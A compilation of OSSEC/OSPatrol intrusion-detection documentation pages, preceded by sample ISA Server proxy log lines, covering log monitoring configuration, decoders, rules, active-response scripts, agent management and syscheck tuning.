10.54.35.2    ACME\hizzo      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      Y       2006-11-16      00:00:15        w3proxy ACME-PROXY      -       145.27.59.156   145.27.59.156   80      360     452     172     http    TCP     GET     http://145.27.59.156/cssarrays.js       text/javascript VCache  304     0x1006  Internet Access Grant Access to all destinations
10.54.35.2    anonymous       Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      N       2006-11-16      00:00:15        w3proxy ACME-PROXY      -       145.27.59.156   -       80      -       456     2846    http    TCP     GET     http://145.27.59.156/printstyles.css    -       -       407     -       -       -
10.54.35.2    anonymous       Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      N       2006-11-16      00:00:15        w3proxy ACME-PROXY      -       145.27.59.156   -       80      -       -       3319    http    TCP     GET     http://145.27.59.156/images/Top_closed_arrow_down.gif   -       -       407     -       -       -
10.54.35.2    anonymous       Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      N       2006-11-16      00:00:15        w3proxy ACME-PROXY      -       145.27.59.156   -       80      -       -       3304    http    TCP     GET     http://145.27.59.156/images/nav_02l.gif -       -       407     -       -       -
10.54.35.2    anonymous       Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      N       2006-11-16      00:00:15        w3proxy ACME-PROXY      -       145.27.59.156   -       80      -       -       3304    http    TCP     GET     http://145.27.59.156/images/nav_03l.gif -       -       407     -       -       -
10.54.35.2    anonymous       Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      N       2006-11-16      00:00:15        w3proxy ACME-PROXY      -       145.27.59.156   -       80      -       -       3304    http    TCP     GET     http://145.27.59.156/images/cleardot.gif        -       -       407     -       -       -
10.54.35.2    anonymous       Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      N       2006-11-16      00:00:15        w3proxy ACME-PROXY      -       145.27.59.156   -       80      -       -       1058    http    TCP     GET     http://145.27.59.156/printstyles.css    -       -       407     -       -       -
10.54.35.2    ACME\hizzo      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      Y       2006-11-16      00:00:16        w3proxy ACME-PROXY      -       145.27.59.156   145.27.59.156   80      437     450     172     http    TCP     GET     http://145.27.59.156/navpad.css text/css        VCache  304     0x1006  Internet Access Grant Access to all destinations
10.54.35.2    ACME\hizzo      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      Y       2006-11-16      00:00:16        w3proxy ACME-PROXY      -       145.27.59.156   145.27.59.156   80      546     712     172     http    TCP     GET     http://145.27.59.156/printstyles.css    text/css        VCache  304     0x1006  Internet Access Grant Access to all destinations
10.54.35.2    ACME\hizzo      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      Y       2006-11-16      00:00:16        w3proxy ACME-PROXY      -       145.27.59.156   145.27.59.156   80      156     456     172     http    TCP     GET     http://145.27.59.156/images/nav_06.gif  image/gif       VCache  304     0x1006  Internet Access Grant Access to all destinations
10.54.35.2    ACME\hizzo      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      Y       2006-11-16      00:00:16        w3proxy ACME-PROXY      -       145.27.59.156   145.27.59.156   80      282     456     172     http    TCP     GET     http://145.27.59.156/images/navgo.gif   image/gif       VCache  304     0x1006  Internet Access Grant Access to all destinations
10.54.35.2    ACME\hizzo      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      Y       2006-11-16      00:00:16        w3proxy ACME-PROXY      -       145.27.59.156   145.27.59.156   80      266     456     172     http    TCP     GET     http://145.27.59.156/images/nav_13.gif  image/gif       VCache  304     0x1006  Internet Access Grant Access to all destinations
10.54.35.2    ACME\hizzo      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      Y       2006-11-16      00:00:16        w3proxy ACME-PROXY      -       145.27.59.156   145.27.59.156   80      453     456     172     http    TCP     GET     http://145.27.59.156/images/nav_14.gif  image/gif       VCache  304     0x1006  Internet Access Grant Access to all destinations
10.54.35.2    ACME\hizzo      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      Y       2006-11-16      00:00:16        w3proxy ACME-PROXY      -       145.27.59.156   145.27.59.156   80      453     577     172     http    TCP     GET     http://145.27.59.156/images/Top_closed_arrow_down.gif   image/gif       VCache  304     0x1006  Internet Access Grant Access to all destinations
10.54.35.2    ACME\hizzo      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      Y       2006-11-16      00:00:17        w3proxy ACME-PROXY      -       145.27.59.156   145.27.59.156   80      453     458     172     http    TCP     GET     http://145.27.59.156/images/nav_01.gif  image/gif       VCache  304     0x1006  Internet Access Grant Access to all destinations
10.54.35.2    ACME\hizzo      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)      Y       2006-11-16      00:00:17        w3proxy ACME-PROXY      -       145.27.59.156   145.27.59.156   80      484     458     172     http    TCP     GET     http://145.27.59.156/images/cw_logo.gif image/gif       VCache  304     0x1006  Internet Access Grant Access to all destinations
-     -       Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Active Cache Request N       2006-11-16      00:00:17        w3proxy ACME-PROXY      -       i.framp.com     67.45.248.177   80      890     160     -       http    TCP     GET     http://i.framp.com/images/global/brand/icons/viewlarger.gif     image/gif       VCache  304     0xa00000        -       -
-     -       Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Active Cache Request N       2006-11-16      00:00:17        w3proxy ACME-PROXY      -       i.framp.com     67.45.248.177   80      906     160     -       http    TCP     GET     http://i.framp.com/images/global/brand/title/fragsolid2.gif     image/gif       VCache  304     0xa00000        -       -
-     -       Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Active Cache Request N       2006-11-16      00:00:17        w3proxy ACME-PROXY      -       i.framp.com     67.45.248.177   80      891     155     -       http    TCP     GET     http://i.framp.com/images/global/masthead/nav_down.gif  image/gif       VCache  304     0xa00000        -       -
-     -       Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Active Cache Request N       2006-11-16      00:00:17        w3proxy ACME-PROXY      -       i.framp.com     67.45.248.177   80      906     158     -       http    TCP     GET     http://i.framp.com/images/global/masthead/activetabbg.jpg       image/jpeg      VCache  304     0xa00000        -       -
-     -       Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Active Cache Request N       2006-11-16      00:00:17        w3proxy ACME-PROXY      -       i.framp.com     67.45.248.177   80      906     170     -       http    TCP     GET     http://i.framp.com/images/global/masthead/inactivetab_rightcorner.jpg   image/jpeg      VCache  304     0xa00000        -       -
-     -       Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Active Cache Request N       2006-11-16      00:00:17        w3proxy ACME-PROXY      -       i.framp.com     67.45.248.177   80      906     168     -       http    TCP     GET     http://i.framp.com/images/global/masthead/activetab_rightcorner.jpg     image/jpeg      VCache  304     0xa00000        -       -
-     -       Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Active Cache Request N       2006-11-16      00:00:17        w3proxy ACME-PROXY      -       i.framp.com     67.45.248.177   80      921     148     -       http    TCP     GET     http://i.framp.com/images/global/general/oo.gif image/gif       VCache  304     0xa00000        -       -
-     -       Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Active Cache Request N       2006-11-16      00:00:17        w3proxy ACME-PROXY      -       i.framp.com     67.45.248.177   80      921     160     -       http    TCP     GET     http://i.framp.com/images/global/masthead/inactivetabbg.jpg     image/jpeg      VCache  304     0xa00000        -       -
-     -       Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Active Cache Request N       2006-11-16      00:00:17        w3proxy ACME-PROXY      -       i.framp.com     67.45.248.177   80      921     155     -       http    TCP     GET     http://i.framp.com/images/global/masthead/mdabarbg.jpg  image/jpeg      VCache  304     0xa00000        -       -
-     -       Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Active Cache Request N       2006-11-16      00:00:17        w3proxy ACME-PROXY      -       i.framp.com     67.45.248.177   80      906     169     -       http    TCP     GET     http://i.framp.com/images/global/masthead/inactivetab_leftcorner.jpg    image/jpeg      VCache  304     0xa00000        -       -
-     -       Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Active Cache Request N       2006-11-16      00:00:17        w3proxy ACME-PROXY      -       i.framp.com     67.45.248.182   80      921     158     -       http    TCP     GET     http://i.framp.com/images/global/masthead/smlflags/jm.gif       image/gif       VCache  304     0xa00000        -       -






A description of the fields in the ISA Server 2000 version log files can be found at this site. [http://msdn2.microsoft.com/en-us/library/ms813182.aspx]


A description of the fields in the ISA Server 2004 log files can be found `at this site.http://msdn2.microsoft.com/en-us/library/aa503237.aspx>`_


Other general information about ISA Server and ISA Server logs can be found at the following links:


Official Microsoft site for ISA Server 2000 [http://www.microsoft.com/isaserver/prodinfo/previousversions/2000.mspx]


Official Microsoft site for ISA Server 2004 [http://www.microsoft.com/isaserver/prodinfo/previousversions/2004.mspx]


Official Microsoft site for ISA Server 2006 [http://www.microsoft.com/isaserver/default.mspx]


Microsoft ISA Server Firewall Resource Site: Articles and Tutorials [http://www.isaserver.org]


` ISA Server 2000 Alerts, Reports and Logs FAQ <http://www.microsoft.com/technet/isa/2000/maintain/isafaqra.mspx>`_


Configuring ISA Server 2000 log files [http://www.isaserver.org/tutorials/Configuring_ISA_Server_Log_Files.html]


How to Configure Logging in ISA Server 2000 [http://support.microsoft.com/default.aspx?scid=kb;en-us;302372]


ISA Server 2000 Monitoring Concepts: Logging [http://www.microsoft.com/technet/isa/2000/proddocs/isadocs/cmt_logintro.mspx]


ISA Server 2000 Packet Filtering [http://www.microsoft.com/technet/isa/2000/proddocs/isadocs/m_p_c_allowblock.mspx]


About the ISA Server 2000 Firewall [http://msdn2.microsoft.com/en-us/library/ms811785.aspx]


ISA Server 2004 best practices: Logging [http://www.microsoft.com/technet/isa/2004/plan/logging-best-practices.mspx]


Description of the time format used in ISA Server 2004 logs [http://support.microsoft.com/kb/887005]


ISA Server 2004 Monitoring Concepts:Logs [http://www.microsoft.com/technet/isa/2004/help/FW_LogOver.mspx]


ISA Server 2004 Log Code Values [http://www.microsoft.com/technet/isa/2004/help/FW_LogCodeHead.mspx]


Understanding ISA Server 2004 Monitoring [http://www.isaserver.org/tutorials/Understanding-ISA-2004-Monitoring-Part1.html]


ISA Server 2006 Logging Fields and Values [http://www.microsoft.com/technet/isa/2006/Logging_Reference.mspx]
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OSSEC Processes and Data








		Module
		Suposition





		ossec-analysisd
		Master program. Analyzes data from the logs, syscheck,rootcheck, etc.
Runs as an unprivileged (ossec) user under chroot.



		ossec-execd
		Execute active responses by calling the configured scripts. Runs as root.



		ossec-maild
		Send e-mail alerts. Runs as an unprivileged user (ossecm) under chroot.



		ossec-remoted
		Server side socket for server/client communications.
Runs as an unprivileged user (ossecr) under chroot.



		ossec-agentd
		Agent side socket for server/client communications.
Runs as an unprivileged user (ossec) under chroot.



		ossec-logcollector
		Monitor log files and windows event logs (do not use tail).



		ossec-syscheckd
		Does integrity checking and rootkit detection (rootcheck is a module of it).



		ossec-csyslogd
		Client syslog tool to forward OSSEC alerts to remote syslog servers
(including SIM/SEMs and log management systems).



		ossec-monitord
		Monitor agent connectivity and compress daily log files.








		ossec-logcollector on agent machine tails log file & sends to ossec-agent.


		ossec-agent routes the information to the ossec-server (on server system).


		ossec-remoted receives data, uncompress and unencrypt it and sends to analysysd.


		ossec-analysisd detects an actionable issue.


		ossec-analysisd actions:







		ossec-analysisd sends information to ossec-execd (if response is configured to run in the server side).


		ossec-analysisd sends information to ossec-remoted (if response is configured to run in the agent).










		ossec-maild monitors analysisd and generate e-mail alert.


		If active response is enabled on the agent, ossec-remoted on the manager sends the active response to ossec-agent on the agent and ossec-agent sends it to ossec-execed.


		ossec-execd calls an active response script
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Active-response Internal Logic Flow


This is taken directly from the documentation in the source.


OSSEC HIDS 0.6
Copyright (c) 2004-2006 Daniel B. Cid   <daniel.cid@gmail.com> <dcid@ossec.net>






How the active response works internally:



		Read active-respose-doc.txt for details on configuration






		The analysis server receives an event that matches the active response policy.


		The analysis server verifies that all required fields are provided with the event. It means that the analysis server was able to decode the event and extract the necessary information. One example is if it was able to extract the IP address from the event to send to the firewall to be blocked.


		If the active response policy specify that the action must be executed locally on the AS, a message is sent to the execd directly.


		If the active response policy specify that the action must be executed remotelly, a message is sent to the “Active response forwarder” (remoted) to forward the event to the specified agent.
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Languages and respective translators for the installation



		Spanish
* Meir Michanie - meirm ( at ) riunx.com


		Serbian
* Maja Michanie - majam ( at ) riunx.com


		Russian
* Yuri Slobodyanyuk - yurisk ( at ) inbox.ru


		French
* Yves Bigliazzi - yves.bigliazzi ( at ) gmail.com


		Japanese
* Kuzuno Hiroki - kuzuno ( at )gmail.com


		German
* Peter Ahlert - peter @ ( at ) ifup.de


		Turkish
* Ahmet Ozturk - oahmet @ ( at ) metu-dot-edu-dot-tr


		Polish
* Dziankowski Krzysztof - oink @ ( at ) onet.eu


		Italian
* Alberto Furia - straluna ( at ) email.it


		Portuguese
* Willian Itiho Amano - itihoitiho ( at ) gmail.com
* Allan Soares - allan.soares ( at ) gmail.com
* Daniel Barcellos - danielpoa.rs ( at ) gmail.com
* Liliane Cid - liliane.alves ( at ) gmail.com


		Chinese
* Jambo Zhang - jamboman ( at ) 163.com
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Press



OSSEC is #27 on the SecTools.Org: Top 125 Network Security Tools


As of November 18 2011 OSSEC is ranked 27th on SecTools.Org’s Top 125 list.



“OSSEC HIDS performs log analysis, integrity checking, rootkit detection, time-based alerting and active response. In addition to its IDS functionality, it is commonly used as a SEM/SIM solution. Because of its powerful log analysis engine, ISPs, universities and data centers are running OSSEC HIDS to monitor and analyze their firewalls, IDSs, web servers and authentication logs.”


OSSEC on sectools.org [http://sectools.org/tool/ossec/]
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Monitoring a log file:


Configuring OSSEC to monitor a logfile is simple, just one small change to the system’s /var/ossec/etc/ossec.conf and a restart of the OSSEC processes. Alternately, the configuration can be placed in the /var/ossec/etc/shared/agent.conf on the manager.


There are a number of formats that OSSEC recognizes, the main one being syslog. If there is a log format OSSEC does not recognize, you can use syslog as a “catch-all,” and build your decoders/rules around it. Other options can be found on the localfile syntax page.



What log files does OSSEC monitor by default:



		/var/log/messages


		/var/log/secure


		/var/log/authlog


		/var/log/xferlog


		/var/log/maillog


		/var/www/logs/access_log


		/var/www/logs/error_log








Additional files to monitor:



		On Debian based systems:
- /var/log/dpkg.log


		On RHEL based systems:
- /var/log/yum.log








Monitoring /var/log/messages:


<ossec_config>

  <localfile>
    <log_format>syslog</log_format>
    <location>/var/log/messages</location>
  </localfile>

</ossec_config>









Monitoring /var/log/apache/access_log:


<ossec_config>
  <localfile>
    <log_format>apache</log_format>
    <location>/var/log/apache/access_log</location>
  </localfile>
</ossec_config>









Windows localfiles:


<localfile>
   <location>Application</location>
   <log_format>eventlog</log_format>
 </localfile>

 <localfile>
   <location>Security</location>
   <log_format>eventlog</log_format>
 </localfile>

 <localfile>
   <location>System</location>
   <log_format>eventlog</log_format>
 </localfile>
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Misc. Notes




		Why am I getting multiple 675 events from AD + Samba?


		Agentless Scripts


		Periodic diff Specification


		Periodic Specification


		Example of real FWD: command.


		Configuring Checkpoint
		Run this command:


		Explanation:


		Do not use the following options in fw log:








		How do I use or create my own compiled rules?
		How do they work?


		How to write my own rule:


		Available fields in the Event structure:








		Correlating multiple snort IDS with ospatrol


		Creating Customized Active Responses
		Creating the command:


		Create active response script:


		Restart OSPatrol and test it:








		Question: How does the decoder.xml relate to the rules?
		Answer:








		Disconnected Agent Alert


		Additional rules
		Windows: Rule to alert on password changes by another user








		Why is OSPatrol not seeing my iptables messages?


		Migrating/backing up the manager


		How to add multiple log files to be monitored?
		For Unix Agents


		For Windows Agents








		Nmap correlation
		Process:


		Example of alert when a new host is found:


		Example of alert when a new a host information is changed:








		How to set up Syslog output
		Configuring the Syslog servers


		Enabling client-syslog


		Checking the configuration








		How to configure PIX and OSPatrol


		Detecting portscans with OSPatrol and iplog
		iplog.conf:


		iplog: Scan and attack responses


		Connect Scan and SYN scan


		iplog response:


		FIN Stealth Scan:


		iplog response:


		NULL Stealth Scan:


		iplog response:


		Xmas Tree Stealth Scan:


		iplog response:


		UDP port scan:


		iplog response:


		traceroute:


		iplog response:


		Flood ping attack:


		iplog response:


		IP fragment attacks:


		UDP and ICMP “smurf” attacks:


		Another interesting logs:


		bogus TCP flags:


		OSPatrol (HIDS) + iplog (sensor) implementation:


		iplog decoder:


		For this logs:


		a working decoder is:


		For this log:


		a proppossed decoder is (not tested):


		For this log:


		a proppossed decoder is (not tested):


		For this log:


		a proppossed decoder is (not tested):


		For this log:


		a proppossed decoder is (not tested):


		iplog rules:


		OSPatrol active-response:


		Firewall Drop: FreeBSD-IPFW:


		More restrictions:


		iplog.conf:


		BSD’s sysctl (some FreeBSD especific):








		Rule Groups
		Reconnaissance


		Authentication Control


		Attack/Misuse


		Access Control


		Network Control


		System Monitor


		Policy Violation








		How to configure ospatrol to never block some IPs in the active response
		White list an IP and a network


		CIDR addresses can also be used to white list whole networks:


		For DNS servers
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Creating Customized Active Responses


by `Daniel Cid <http://www.dcid.me/>`_


OSPatrol by default comes with a few active response scripts, but if you ever need to expand them, this
tutorial can be of help.


As always, learning via examples is easier and faster. We will write a simple active response script to
e-mail the alert to a specific address.



Creating the command:


The first thing we need to do is to create a new “command” entry in the ospatrol config.
.. code-block:: console




		<command>


		<name>mail-test</name>
<executable>mail-test.sh</executable>
<timeout_allowed>no</timeout_allowed>
<expect />





</command>






Since our script does not need a timeout, we set it to no. We also don’t expect any input (like srcip or
username), so we leave the “expect” tag empty. In the executable tag, we specify the name of the script
to be executed (it must be inside /var/ospatrol/active-response/bin/ ).


If you do need a srcip or username, just add it, eg: ``<expect>srcip</expect>``


===2- Configure the Active response===


Next, we need to configure ospatrol to run the active response. In my case, I want to run it on the ospatrol server
(so I choose location server) and every time the rule 1002 is fired (see rules_id 1002). You can also specify
the level or different locations.


<active-response>
   <command>mail-test</command>
   <location>server</location>
   <rules_id>1002</rules_id>
</active-response>









Create active response script:


With that done, we can create the active response script. The mail-test.sh must be inside the
/var/ospatrol/active-response/bin/ with the execution permissions set.


What are the arguments are passed to the script?



		action (delete or add)


		user name (or - if not set)


		src ip (or - if not set)


		Alert id (uniq for every alert)


		Rule id


		Agent name/host/filename





#!/bin/sh
# E-mails an alert - copy at /var/ospatrol/active-response/bin/mail-test.sh
# Change e-mail ADDRESSS
# Author: Daniel Cid

MAILADDRESS="xx@ospatrol.net"
ACTION=$1
USER=$2
IP=$3
ALERTID=$4
RULEID=$5

LOCAL=`dirname $0`;
cd $LOCAL
cd ../
PWD=`pwd`


# Logging the call
echo "`date` $0 $1 $2 $3 $4 $5 $6 $7 $8" >> ${PWD}/../logs/active-responses.log


# Getting alert time
ALERTTIME=`echo "$ALERTID" | cut -d  "." -f 1`

# Getting end of alert
ALERTLAST=`echo "$ALERTID" | cut -d  "." -f 2`

# Getting full alert
grep -A 10 "$ALERTTIME" ${PWD}/../logs/alerts/alerts.log | grep -v ".$ALERTLAST: " -A 10 | mail $MAILADDRESS -s "OSPatrol Alert"









Restart OSPatrol and test it:


After the configuration is done, you can restart OSPatrol and test the configuration. For the above example,
I can run the logger command to simular a segmentation fault message.


You should get in the /var/ospatrol/logs/active-response.log, the following:


And in your e-mail:


from: root <root@xx.org>
to: xx@ospatrol.net
date: Jul 27, 2007 11:48 PM
subject: OSPatrol Alert

** Alert 1185590911.25661: mail  - syslog,errors,
2007 Jul 27 23:48:31 xx->/var/log/messages
Rule: 1002 (level 7) -> 'Unknown problem somewhere in the system.'
Src IP: (none)
User: (none)
Jul 27 23:48:30 xx dcid: Segmentation Fault 123
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OSSEC 101: Troubleshooting problems



Scenario 1
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Question: How does the decoder.xml relate to the rules?



Answer:


The decoder.xml file can be used to capture certain bits of information from the logs that ospatrol is monitoring.  These bits of information can be passed to rules as XML objects.  Take for example, the pair of rules below:


<rule id="3100" level="0">
  <decoded_as>web-accesslog</decoded_as>
  <category>web-log</category>
  <description>Access log messages grouped.</description>
</rule>

<rule id="3101" level="5">
  <if_sid>3100</if_sid>
  <id>^40</id>
  <description>Web server 400 error code.</description>
</rule>






The first rule acts as a “collector” for specific log messages.  As part of the rule construct, the <decoded_as></decoded_as> tags are used to determine how the log entry will be decoded, and aspects of it captured.  In this case, it will be a web-accesslog.  The corresponding construct in decoder.xml (shown below) matches the log entry and captures certain parts of the entry to be used later.


<decoder name="web-accesslog">
  <type>web-log</type>
  <prematch>^\d+.\d+.\d+.\d+ - </prematch>
  <regex>^(\d+.\d+.\d+.\d+) - \S+ [\S+ -\d+] </regex>
  <regex>"\w+ (\S+) HTTP\S+ (\d+) </regex>
  <order>srcip,url,id</order>
</decoder>






Looking at the regular expression we can see that the source IP, the URL, and the HTTP Result Code are captured.  The first set of parentheses denotes that this part of the expression is the source IP, the second set denotes the URL, and the last set is the ID code, which for the example is the HTTP result code.  Going back to the second rule above, its construct contains the <id></id> tags, which, in this case (rule #3101), is used to match a 400 HTTP result code.  Something else worth noting is the multiple <regex> tags in this example.  This is simply done to provide enhanced clarity and preventing lines over 80 characters.  The values inside both tags are concatenated before being processed by ospatrol.


These regex variables can also be passed to active-response command constructs like the one show below:


<command>
  <name>host-deny</name>
  <executable>host-deny.sh</executable>
  <expect>srcip</expect>
  <timeout_allowed>yes</timeout_allowed>
</command>






The <expect></expect> tags are used here to specify which variable is expected as an argument to the executable being used for the active-response action.  A list of available variables is shown below:



		location


		hostname


		log_tag


		srcip


		dstip


		srcport


		dstport


		protocol


		action


		user


		dstuser


		id


		command


		url


		data





Not all of these will be available for every decoder type, but you can check the decoder.xml to see which ones are available for which decoders.



Note


If you are creating custom rules to monitor logs, almost all of your editing will occur in the rules files.  The decoder.xml is just another way to make your rules more powerful, pass specific information to your active-response commands.
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manage_agents:


manage_agents is a menu based application available on both agents and servers, but performs different tasks on each. On the server it is used to add or remove an agent and retrieve the key for the an agent. On an agent manage_agents will import an authentication key.



Available actions on the manager:


The available actions on the manager are to add an agent, extract the key for an agent, list the current agents, remove an agent, and quit the application. Select an action by typing the letter in parentheses.


[image: manage_agents menu]



Adding an agent:





Creating the key on the server:



		On the server run /var/ossec/bin/manage_agents. Notice the options provided by this application. We will be choosing a to add an agent.





[image: manage agents]

		After selecting a we have to enter information about the agent. All of these items must be unique. Multiple agents using a single ID, IP, or hostname can cause i





ssues.




		The agent name does not have to be the hostname, but using the hostname may help with managing the agents.


		The IP address can be the actual IP address, a CIDR address (192.168.1.0/24), or any. It is best to be as specific as possible, but monitoring VPN or DHCP user










		s is sometimes necessary. CIDR addresses and any do not have to be unique.


		
		The ID will be used for a number of OSSEC functions. Finding the ID is easy, so I typically choose the default.











[image: enter information about the agent]

		After confirming that the agent should be created and the information is correct, you will be presented with the original menu again. This time use L to list the






agents. Notice there is only 1 agent on this system. The list can get much larger, some people reportedly having over 1,000 agents on a single server.



[image: agent list]



Viewing a list of the agents:


Type ‘L‘ at the menu prompt to view the agents on the system.


[image: manage_agents: list agents]



Removing an agent:


Type ‘R‘ at the prompt to remove an agent. manage_agents prompts for the agent id, and confirms that the agent should be deleted. After an agent has been deleted, it cannot be un-deleted. It has to be re-added instead.


[image: manage_agents: remove an agent]



manage_agents on an agent:


The only option available when using manage_agents on an agent is to import the authentication key.


[image: manage_agents: agent options]



Using manage_agents at the command line:


manage_agents has a number of command line options. The most important ones are -h, -l, -e, and -i.




		-h prints the help message.


		-l lists the available agents.


		-e <id> extracts the authentication key for the agent id.


		-i <id> imports the authentication key on an agent.









manage_agents help message:


[image: manage_agents: cli]
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How to add multiple log files to be monitored?


By Daniel B. Cid [http://www.dcid.me]



For Unix Agents


If you have multiple log files to be monitored by OSPatrol and don’t
want to add each one of them manually, you can configure them using
posix regular expressions.


For example, if you have a directory structure like this:


/var/log/host1/xx.log, yy.log, zz.log
/var/log/host2/xx.log, aa.log
/var/log/host3/zz.log, abc.log
/var/log/hostn/bb.log, xyz.log






You can just add one entry in the localfile to monitor all these logs:
.. code-block:: console




		<localfile>


		<log_format>syslog</log_format>
<location>/var/log/host*/*.log</location>





</localfile>






This tip can make large configurations much simpler.





For Windows Agents


For the Windows agent, the built-in globing doesn’t work. At time of writing (OSPatrol version 1.5) you have to use a script to auto-generate ospatrol.conf if you want to monitor many log files without having to manually enter them. Here’s an example batch file to get you started:


Adjust the “for..in” globbing line as needed. In this example, I’m monitoring logs for multiple IIS sites which are all in D:Logs. Save it into a file with a .bat extension and put it somewhere on your hard drive. Create a file named ospatrol_template.conf in the `same directory as the batch file. You can probably just copy your current ospatrol.conf for this file, as this script will only append to it. You can then set up a scheduled task to run the batch file to automatically keep your ospatrol.conf up to date.
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ossec.conf and agent.conf


For agent/server installs OSSEC has some centralized configuration options available.
While a normal configuration exists in /var/ossec/etc/ossec.conf on each system, agents can also use /var/ossec/etc/shared/agent.conf.
The agent.conf exists on each system, but is distributed from the manager.
Any changes made to the agent.conf on an agent will be overwritten the next time the file is transferred from the manager.


The agent.conf is not distributed immediately after a change, in fact the transfer can take several hours. Also the agents have to be restarted after receiving a new agent.conf.



Configuration by Operating System:


It is possible to configure systems based on the operating system they run. This can be useful when monitoring log files that are in one location on one OS, and either absent or in a different location on another OS.


For instance OpenBSD has a logfile named /var/log/daemon that is not present on most other systems. To make sure the file is monitored we can add the following to /var/ossec/etc/shared/agent.conf on the manager:


<agent_config os="OpenBSD">
  <localfile>
    <log_format>syslog</log_format>
    <location>/var/log/daemon</location>
  </localfile>









Configuration by Agent Name:


These same changes can reference a system by agent name as well. In this instance I want to monitor /var/log/nmap-out.log on agent99, but don’t want to modify agent99’s ossec.conf. Adding the following to the agent.conf accomplishes this:


<agent_config name="agent99">
  <localfile>
    <log_format>nmapg</log_format>
    <location>/var/log/nmap-out.log</location>
  </localfile>
</agent_config>









Configuration by Profile:


Profiles are the newest option for the agent.conf. A popular way to use this option is to create profiles based on purpose, for instance a “webserver” profile. This allows you to modify the settings for all webservers, without affecting other systems sharing an OS or duplicating information by creating multiple entries with different names.


<agent_config profile="webserver">
  <localfile>
    <log_format>apache</log_format>
    <location>/var/log/apache/error_log</location>
  </localfile>
</agent_config>






This option does require modification of the agent’s ossec.conf. i
The <client> section of the agent’s ossec.conf will need to include a <config-profile> option with all desired profiles (comma separated).


<ossec_config>
  <client>
    <server-ip>192.168.1.100</server-ip>
    <config-profile>webserver</config-profile>
  </client>
</ossec_config>









Automatically restarting the agent processes when agent.conf is updated:


To help solve the problem of restarting the agents every time the agent.conf changes, you can use the following active response configuration. This assumes that you have active response enabled on the agents and manager.


This is the command and active response definition enabling the restart:


<command>
  <name>restart-ossec</name>
  <executable>restart-ossec.sh</executable>
  <expect></expect>
</command>

<active-response>
  <command>restart-ossec</command>
  <location>local</location>
  <rules_id>510010</rules_id>
</active-response>






This is the rule referenced in the <active-response> above:


<rule id="510010" level="10">
  <if_sid>550</if_sid>
  <match>/var/ossec/etc/shared/agent.conf</match>
  <description>agent.conf has been modified.</description>
</rule>






When syscheck finds a modified agent.conf rule 510010 is triggered, which triggers the restart-ossec active response.
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Rule Groups


We can specify groups for specific rules. It’s used for active response reasons and for correlation.


We currently use the following groups:



Reconnaissance



		Connection Attempt - connection_attempt


		Web scan - web_scan


		Generic scan - recon








Authentication Control



		Success - authentication_success


		Failure - authentication_failed


		Invalid - invalid_login


		Login denied - login_denied


		Multiple failures - authentication_failures


		User account added/changed/removed - adduser|account_changed








Attack/Misuse



		Worm (Non targeted attack) - automatic_attack


		Exploit pattern - exploit_attempt


		Invalid access - invalid_access


		Spam - spam


		Multiple Spams - multiple_spam


		SQL Injection - sql_injection


		Generic Attack - attack


		Rootkit detection - rootcheck


		Virus detected - virus








Access Control



		Access denied - access_denied


		Access allowed -access_allowed


		Access to Inexistent resource - unknown_resource


		Firewall Drop - firewall_drop


		Multiple firewall drops - multiple_drops


		Client mis-configuration - client_misconfig


		Client error - client_error








Network Control



		New host detected - new_host


		Possible ARP spoof - ip_spoof








System Monitor



		Service start - service_start


		Service availability in Risk - service_availability


		System error - system_error


		Shutdown - system_shutdown


		Logs removed - logs_cleared


		Invalid request  - invalid_request


		Promiscuous mode detected - promisc


		Policy changed - policy_changed


		Configuration changed - config_changed


		Integrity Checking - syscheck


		Low disk space - low_diskspace


		Time changed - time_changed








Policy Violation



		Login time - login_time


		Login day  - login_day











          

      

      

    


    
        © Copyright 2010, Lots of people.
      Created using Sphinx 1.2.
    

  

ospatrol101/syscheck_tuning.html


    
      Navigation


      
        		
          index


        		OSPatrol 2.7.2b1 documentation »

 
      


    


    
      
          
            
  
OSPatrol 101: Tuning Syscheck:



Alert on new files:


By default syscheck does not alert on new files. This is done in an attemp to stop a flood of alerts on installation.
Changing this behavior is very easy.


First, add the following to the <syscheck> section of the OSPatrol server’s ospatrol.conf:


<alert_new_files>yes</alert_new_files>






For example, my <syscheck> section now starts like this:


<syscheck>
  <!-- Frequency that syscheck is executed - default to every 22 hours -->
  <frequency>7200</frequency>
  <alert_new_files>yes</alert_new_files>
  <auto_ignore>no</auto_ignore>

  <!-- Directories to check  (perform all possible verifications) -->
  <directories check_all="yes" report_changes="yes">/etc,/var/named/etc,/var/www/conf,/var/ospatrol/etc,/var/ospatrol/rules</directories>
  <directories check_all="yes">/usr/bin,/usr/sbin</directories>
  <directories check_all="yes">/bin,/sbin</directories>

  <!-- More files and directories to check or ignore -->
</syscheck>






OSPatrol has a default rule to alert on new files, but the level is set to 0. To change this, add the following rule to your local_rules.xml:


<rule id="554" level="7" overwrite="yes">
  <category>ospatrol</category>
  <decoded_as>syscheck_new_entry</decoded_as>
  <description>File added to the system.</description>
  <group>syscheck,</group>
</rule>






